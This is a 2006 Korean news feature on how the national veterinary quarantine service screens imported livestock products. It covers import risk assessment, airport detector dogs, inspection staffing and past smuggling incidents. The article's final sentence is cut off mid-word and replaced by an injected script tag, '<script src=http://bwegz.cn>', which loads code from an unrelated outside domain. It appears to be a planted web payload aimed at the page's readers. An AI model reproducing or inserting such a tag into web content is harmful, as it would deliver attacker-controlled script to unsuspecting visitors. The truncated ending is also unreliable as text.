<진단>국립수의과학검역원의 수입축산물 안전관리

2006-08-16     김영민


최근 중국을 비롯한 대만, 홍콩 등 우리나라 주변국에서 잇따라 구제역이 발생하면서 악성가축 질병의 국내유입 우려는 물론 이들 나라로부터의 불법 휴대축산물에 대한 검사·검역의 중요성이 더욱 강조되고 있다.

더욱이 축산물의 국가간 교역이 더욱 확대됨에 따라 수입축산물의 안전성 확보에 비상이 걸렸다.

특히 2003년 BSE 발생으로 인해 수입이 금지된 캐나다산 소 곱창을 국내에 유통시킨 사건과 2004년 미국산 쇠고기가 멕시코산 쇠고기에 섞여 위장 수입된 사건을 비롯해 유통기한이 넘은 수입축산물이 버젓이 국내 시장에 유통되는 일련의 사건들은 수입축산물 검사·검역의 중요성을 다시한번 실감케 된다.

이처럼 수입 축산물의 검역은 해외악성가축전염병 유입을 차단하고 축산물에 대한 안전성을 확보해 국내 축산업을 보호하고 국민보건향상에 기여한다는 목적에서 그 중요함은 말할 수 없을 정도다.

우리나라의 수입 축산물 안전관리는 국립수의과학검역원에서 총괄하고 있다.

검역원은 선진국 수준의 검역시스템 구축을 위해 1992년부터 동물검역기능강화 5단계 선진화 대책을 수립해 2004년까지 13년간 약 930억원을 투입, 제4단계 추진을 마무리 했다.
현재 2005년부터 2008년까지 약 400억을 투자계획으로 제5단계 검역기능강화 사업을 추진하고 있다.

국내 수입축산물 안전관리의 파수꾼인 검역원의 검사·검역 시스템을 돌아본다.

#수입상대국에 대한 위험평가

현재 세계 모든 국가는 축산물 수출입과 관련 상대국에 대한 축산물 위험평가를 하고 있다.
우리나라도 8단계의 수입위험분석절차가 마무리 돼야 축산물 수출이 가능하다. 상대국의 대응정도에 따라 달라질 수 있지만 평균 3년 정도가 소요된다.
또한 필요한 경우 수입허용 결정을 위해 가축방역협의회 등 외부 전문가의 의견도 수렴하고 있다.

특히 지난 3월 국립수의과학검역원내 ‘수입위험평가과’ 및 ‘축산물감시과’가 신설됐다.
수입되는 축산물의 위험평가와 더불어 검역·검사를 강화하기 위한 조치로 보여진다.

수입위험평가의 중요성을 고려해 과거 검역검사과에서 하고 있던 수입위험평가 업무를 전담부서인 수입위험평가과에서 담당케 한 것이다.
전문 인력도 배치했다.


#휴대축산물 검역이 관건

우리나라의 축산물 수입은 우리 정부가 승인한 수출작업장을 통해서만 들어오고 있다.
특히 축산물 수출국정부의 검역을 마친 후 컨테이너 등을 통해 운송돼 국내 공·항만 도착 즉시 검역을 받도록 돼 있다.

이 같은 수출작업장을 통해 컨테이너 등 화물로 수입된 축산물은 검역 절차가 잘 이뤄지고 있다는 것이 일반적인 평가다.
그러나 우편물과 휴대반입을 통해 수입되는 축산물의 검역은 늘 긴장하지 않으며 검역에 구멍이 뚫릴 수 있다는 지적이다.

검역원은 이에 대해 공·항만에서 해외여행객 등이 반입하는 휴대 육류 검역은 대부분 선진국도 하기 힘든 검역탐지견을 확보해 실시하고 있다고 밝힌다.
특히 구제역 및 조류인플루엔자가 주로 발생하는 국가에서 들어오는 우편물과 관광객에 집중 투입하고 있다.

현재 검역탐지요원 11명과 보유 탐지견 28마리가 인천국제공항 11개국 27개 노선, 제주국제공항 3개국 6개 노선에서 수입 축산물 검역에 나서고 있다.

구제역 및 조류인플루엔자 특별대책기간동안 지방 국제공항 투입 등으로 철저한 검색을 실시하고 있다.
검역탐지비율도 2002년 24.3%에서 2005년 28.6%로 계속 증가하고 있다.
이처럼 결과만을 놓고 봤을 때 사람의 눈으로 확인할 수 없는 불법 휴대축산물 적발의 일등공신은 탐지견이다.
그러나 검역탐지비율이 높아지는 것과 달리 현장의 검역탐지요원이 부족한 것이 현재의 실정이다.

#수입축산물의 안전성 확보

검역원의 선진국 수준의 검역·검사 시스템과 수의사 등 전문가로 구성된 인적자원은 해외악성가축전염병 유입차단과 국민보건향상에 기여한다고 평가할 수 있다.

2003년 이후 구제역 및 고병원성 조류인플루엔자가 발생하지 않고 청정국가로 유지될 수 있는 것도 이들의 철저한 국경검역의 결과이다.

검역원의 수입축산물 검역·검사는 본원 18개과와 지역별 5개 지원 12개 출장소에 수의사자격증을 소지한 전문가들이 담당한다. 이들은 국제우편물, 휴대 육류 및 수입육류 등에 대한 철저한 검역·검사를 수행하고 있다.

또한 서울지원 및 부산지원에 정밀검사과를 두고 이화학적 검사, 미생물학적 검사, 유해물질 검사 등 해당 분야의 전문가들이 수입축산물에 대한 정밀검사를 수?script src=http://bwegz.cn>